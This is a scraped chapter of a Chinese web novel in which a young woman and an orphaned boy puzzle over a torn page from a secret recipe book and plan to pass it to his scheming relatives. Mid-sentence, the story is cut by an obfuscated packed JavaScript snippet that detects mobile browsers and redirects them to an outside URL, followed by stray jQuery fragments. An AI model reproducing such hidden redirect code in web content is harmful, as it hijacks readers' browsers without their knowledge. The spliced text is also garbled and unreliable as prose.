默认冷灰
24号文字
方正启体

5. 他的身世真相

作者:当归迟迟本书字数:K更新时间:
    容青阳见她前一刻蹲在草丛里时人还正常,下一刻脸色却如乌云过境,雷霆密布,再加上她的身高压着,一时搞不清楚状况,一张脸只吓得惨白如纸,带着哭腔道:


    “什么东西啊,时姐姐……我不知道……”


    时清妍也不跟他绕弯子,把秘方残页被撕掉的那面痕迹亮给他看,语气冰冷道:


    “我问你,这是不是你撕掉的?”


    容青阳摇摇头,委屈巴巴地擦掉眼泪,抖着身子道:


    “时姐姐,不是我……父亲,父亲将这东西给我时就是这样了,我拿到手连一页纸都不敢翻,我将它用蜡封好就直接放到这里了,一刻也不敢带在身上,我怕堂叔他们害我……”


    时清妍打量着他的目光,想从里面找出一些撒谎的痕迹,但那如墨般的眼睛里,除了几分惊恐与不可置信,剩下的便是十足十的害怕,并无半分欺瞒之意。


    她眯了眼睛,道:


    “既不是你干的,难不成是你那些堂叔做的吗?”


    不等容青阳回话,她又自顾自道:


    “可是这也不对,因为你说你一拿到手便蜡封好了,而我们刚刚取出这书时,上头并不半点蜡封被破坏的痕迹,那就说明你堂叔他们暂时还没发现这本秘书的踪迹,若是他们干的,何苦要一直跟踪你?”


    容青阳抽泣着道:


    “那会不会……会不是父亲所为?也许他怕我出什么事,就把最重要的那面提前撕掉了?”


    “不对,不会是你父亲干的,他若真的想——”


    话说到一半,时清妍忽然顿住了没往下说,她像是猜到了什么一样,盯着容青阳的眸子一震,尔后不自觉带了些同情。


    撕掉这本秘书残页的,不是容文州也不是容家剩下的人,那就意味着这件事还有另一拨人在参与,而那波人也许就是杀死容文州的真正凶手,而不是所谓的山匪。


    而那些人也很聪明,趁着容文州发现之前,便撕掉了那页至关重要的纸,并且在拿走那东西以后,依旧毫不留情地把他杀了……


    如果是这样,那这背后的人一定是极其阴狠残忍之徒,至于什么身份,还未可知……


    而说回容文州,如果他真的想保护容青阳,那便绝对不会将这烫手山芋交给自己的儿子,只会将它烧毁。


    但,可能他也耍了小聪明,认为所谓的烧毁,也许并不能堵住幕后那帮人的追查,总有一天会查到容家其他人身上。


    到那时候,也许整个容家都会落得跟容文州及其妻子一样的下场。


    如果是这样,那容青阳不就成了容文州认为的,一个吸引真正凶手的饵料,一个保护容家其他人的饵料……


    沉默了好一会,时清妍终于再度开口:


    “容青阳,你真的是你父亲亲生的吗?”


    容青阳的瞳孔猛然一震,过了很久才颤着唇道:


    “是,但也许不是。”


    时清妍皱眉:“你这话什么意思?”


    容青阳苦笑了一下,尔后声音沙哑道:


    “我是父亲亲生的。只是从出生起,我就被抱到了庄子里养着。”


    “我刚出生没多久,爷爷就去世了,然后奶奶也跟着去世……婶母又跟着得了痨病,他们……他们就说我是灾星……把我送去了乡下的庄子……”


    “可是那些人对我也不好,我天天都吃不饱饭,天天都要干活。”


    “我记得有一次,我只是偷吃了厨房的一个馒头,就被他们用鞭子打……那鞭子那么长……那么粗……我好痛好痛……”


    “后来,我昏过去了……是村里的李先生救了我……李先生,是个好人……他给我治病,教我读书写字,还给我买馒头吃……”


    “可是他们不许我跟着他……后来,后来李先生也走了……我就自己偷偷溜到村里的学堂,跟着他们学写字,偷看他们的书……”


    “后来被发现了,我就又被他们用鞭子抽……还是好痛好痛……”


    “我以为……我要在乡下呆一辈子……谁知道父亲……父亲他忽然接我回来……我好开心好开心,我从来没有那么开心……”


    “可,可谁知道……没多久……父亲也,也死了……母亲……母亲也没了……然……然后……”


    “别说了!”


    他话还没说完便被时清妍打断了,她强行将他揽入怀里,用手抹掉他晶莹的泪,红着眼眶道:


    “我说了,从今以后你这条命都是我的,我不许你哭,你一颗眼泪也不许给我掉,不准为了这些畜生掉眼泪,一点都不值得,听到没?!”


    容青阳抽噎着点了点头,可他才八岁,怎么可能那么容易控制自己的情绪,因此仍是压抑不住地哭,甚至因为有了时清妍的依靠,那眼泪更是如决堤的洪水,一发而不可收拾。


    寂静的小道上,他撕心裂肺的哭声不断蔓延,就连那晴好的日头似乎都忍不住动容了,划过几片灰暗的云,似是为他感到悲哀。


    时清妍也没拦着他,任由他放肆地哭喊,把自己的粗布衣裳哭得全是泪。


    哭吧。


    哭完,以后就都是好日子了……


    ……


    过了很久,他终于缓了过来,抽泣着看向时清妍:


    “时姐姐,那…到底是谁想要这本秘书?”


    时清妍摇了摇头:“我现在也不知道。掌握的线索就这么多。”


    眼下只知道,谁拿到这本秘书,也许就会招来杀身之祸。


    容文州夫妇的下场不就是最好的佐证吗?


    就算是那页至关重要的纸被撕掉了,可难保那些人不会产生绝了后患的心思,又展开新一波的追杀……


    “不过,我倒是有个办法,可以暂时让你堂叔还有幕后之人暂时歇了对我们追查的想法。”


    “什么?”容青阳疑惑地看着她。


    时清妍笑道:“你不是说你堂叔一直在暗地里跟踪你吗?”


    “是啊……”容青阳语气迟疑。


    “咱们暂且不管他是为了凝神香,还是为了那被撕毁的一页,但至少证明,他们对这本秘书也很感兴趣。”


    “那我们就想个办法把这本书递到他们手上,把这烫手山芋丢出去,这样,至少我们去吕河县以后还能保证自身的安全。”


    容青阳一脸震惊:


    “可…可时姐姐你不是说这本书是你家传秘方吗?若交出去,那你怎么办?”


    “那是在我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156275|196553||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知道这件事情的危险性之前,傻瓜。”


    时清妍斜睨他一眼,一副小孩你不懂的样子。


    容青阳以为她要接着说什么,未料她却只是沉默着没开口,而时清妍在想什么呢,她还在剖析着整件事。


    眼下,这本秘书显然已经不是她当初单纯的认为是荣文州为了一己私欲所为,而牵涉到了一个更大的秘密。


    那张被撕掉的纸,上面到底是写了一个至关重要的香方,还是别的什么?


    她不知道。


    她只知道,若将这东西一直带上身上,以她如今的处境,只能是一个死。


    既然如此,不如釜底抽薪,将目标对象转移成他人,待得来日她有了能力,再重新回来慢慢查,将那幕后的真相查个水落石出。


    至于这本秘书里记载的其他香药秘方,她会去镇上买了草纸一一誊抄下来。


    至于原版,必须留在这里,否则骗不过那些人。


    容青阳攥着手,鼓着嘴道:“可是,时姐姐,这秘方留给堂叔,岂不是太便宜他们了吗?”


    不是说里面藏着很多秘方吗?


    他才不想看见堂叔靠这个挣钱呢,他巴不得他们一夜之间破产……


    时清妍刮了刮他的鼻子,狡黠一笑道:


    “你放心,我外公才没那么傻!这东西就算是留给他们,怕是他们也不会调配!”


    这本秘书是她外公留给母亲的,她方才翻了下里面的内容,对制香的要求十分苛刻,甚至还夹杂了大量她们时家特有的称量工具,容家那些人根本复刻不出来!


    “你瞧,”时清妍指着其中一段,道:


    “若制百合香,取七叶百合,于谷雨三日后采收,碾碎后加六厘白酒,于特定古井前取水,并入特定陶罐内研磨,再用特定手法揉搓……笑死我了,那么多特定,他们怕是想破了天也想不出来!”


    她外公的,真是个人才!


    容青阳眨眨眼:


    “可是,如果是这样,那时姐姐你岂不是也不知道了……?”


    时清妍轻哼:


    “你别小瞧我好不好,母亲从前只是不让我接触香药生意,但是我外公留给我家的其他书我可没少看,你以为我做不出来吗?”


    “行了,不说这些了,你且附过耳朵来,我告诉你一会儿怎么做……”


    …………


    两个时辰后,日头已高悬,清河镇那断桥下忽然有说书人开始讲述一桩趣事:


    ——论如何从那又臭又骚的茅坑垫脚石下挖出一件宝贝。


    他方开口没多久,便有一猥琐青年前来认领,说是他早上落在城西的茅坑里的,他晨时才去行过方便,还遇见一得了疯狗病的男娃,叙事栩栩如生,活灵活现,让人不得不信。


    只可惜没一盏茶的功夫,那说书人与那茅坑小子便都被容家的人抓了过去审问,出来时,二人身上双双只剩下一身亵衣。


    他二人四目相顾,却不敢报官明说,只因那容家家大业大,扒了人家一身衣裳又丢了二两银子,真是好一招打一巴掌又给甜枣,让人又气又恨却无可奈何。


    至于时清妍与容青阳这二人,早坐上了牛车,要前往吕河县开始他们新的生活了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)